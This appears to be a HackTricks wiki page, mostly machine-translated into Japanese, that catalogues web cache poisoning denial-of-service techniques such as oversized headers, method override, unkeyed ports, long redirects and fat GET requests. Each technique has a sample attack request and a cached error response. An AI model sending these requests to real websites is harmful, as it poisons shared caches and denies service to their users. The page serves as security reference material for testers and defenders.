# Cache Poisoning to DoS {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} {% hint style="danger" %} このページでは、**キャッシュサーバーに対して有効なリクエスト**に対して**ウェブサーバーがエラーで応答する**ように試みるさまざまなバリエーションを見つけることができます。 {% endhint %} * **HTTP Header Oversize (HHO)** ウェブサーバーがサポートするサイズより大きく、キャッシュサーバーがサポートするサイズより小さいヘッダーサイズでリクエストを送信します。ウェブサーバーは400レスポンスで応答し、これがキャッシュされる可能性があります: ``` GET / HTTP/1.1 Host: redacted.com X-Oversize-Hedear:Big-Value-000000000000000 ``` * **HTTPメタキャラクター (HMC) と予期しない値** **有害なメタキャラクター**を含むヘッダーを送信します。攻撃が機能するためには、まずキャッシュをバイパスする必要があります。 ``` GET / HTTP/1.1 Host: redacted.com X-Meta-Hedear:Bad Chars\n \r ``` A badly configured header could be just `\:` as a header. This could also work if unexpected values are sent, like an unexpected Content-Type: 悪く構成されたヘッダーは、単に `\:` としてヘッダーになる可能性があります。 予期しない値が送信される場合、例えば予期しない Content-Type: の場合も、これが機能する可能性があります。 ``` GET /anas/repos HTTP/2 Host: redacted.com Content-Type: HelloWorld ``` * **Unkeyed header** 一部のウェブサイトは、_X-Amz-Website-Location-Redirect: someThing_ ヘッダーのように、リクエスト内の特定のヘッダーを**見ると**エラーステータスコードを返します。 ``` GET /app.js HTTP/2 Host: redacted.com X-Amz-Website-Location-Redirect: someThing HTTP/2 403 Forbidden Cache: hit Invalid Header ``` * **HTTPメソッドオーバーライド攻撃 (HMO)** サーバーが `X-HTTP-Method-Override`、`X-HTTP-Method`、または `X-Method-Override` のようなヘッダーでHTTPメソッドを変更することをサポートしている場合、メソッドを変更して有効なページをリクエストすることが可能です。これにより、サーバーがそれをサポートしないため、不正なレスポンスがキャッシュされます: ``` GET /blogs HTTP/1.1 Host: redacted.com HTTP-Method-Override: POST ``` * **未鍵ポート** Hostヘッダーのポートがレスポンスに反映され、キャッシュキーに含まれていない場合、未使用のポートにリダイレクトすることが可能です: ``` GET /index.html HTTP/1.1 Host: redacted.com:1 HTTP/1.1 301 Moved Permanently Location: https://redacted.com:1/en/index.html Cache: miss ``` * **ロングリダイレクトDoS** 以下の例のように、xはキャッシュされていないため、攻撃者はリダイレクト応答の動作を悪用して、リダイレクトが非常に大きなURLを送信するようにし、エラーを返すことができます。その後、キャッシュされていないxキーなしでURLにアクセスしようとする人々は、エラー応答を受け取ります: ``` GET /login?x=veryLongUrl HTTP/1.1 Host: www.cloudflare.com HTTP/1.1 301 Moved Permanently Location: /login/?x=veryLongUrl Cache: hit GET /login/?x=veryLongUrl HTTP/1.1 Host: www.cloudflare.com HTTP/1.1 414 Request-URI Too Large CF-Cache-Status: miss ``` * **ホストヘッダーのケース正規化** ホストヘッダーは大文字と小文字を区別しないはずですが、一部のウェブサイトは小文字であることを期待しており、そうでない場合はエラーを返します: ``` GET /img.png HTTP/1.1 Host: Cdn.redacted.com HTTP/1.1 404 Not Found Cache:miss Not Found ``` * **パスの正規化** 一部のページは、パスにデータをURLエンコードして送信するとエラーコードを返しますが、キャッシュサーバーはパスをURLデコードし、URLデコードされたパスのレスポンスを保存します。 ``` GET /api/v1%2e1/user HTTP/1.1 Host: redacted.com HTTP/1.1 404 Not Found Cach:miss Not Found ``` * **Fat Get** 一部のキャッシュサーバー(Cloudflareなど)やウェブサーバーは、ボディを持つGETリクエストを停止するため、無効なレスポンスをキャッシュするために悪用される可能性があります: ``` GET /index.html HTTP/2 Host: redacted.com Content-Length: 3 xyz HTTP/2 403 Forbidden Cache: hit ``` ## 参考文献 * [https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52](https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52) * [https://youst.in/posts/cache-poisoning-at-scale/?source=post\_page-----3a829f221f52--------------------------------](https://youst.in/posts/cache-poisoning-at-scale/?source=post\_page-----3a829f221f52--------------------------------) {% hint style="success" %} AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ GCPハッキングを学び、実践する:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricksをサポートする * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください。**
{% endhint %}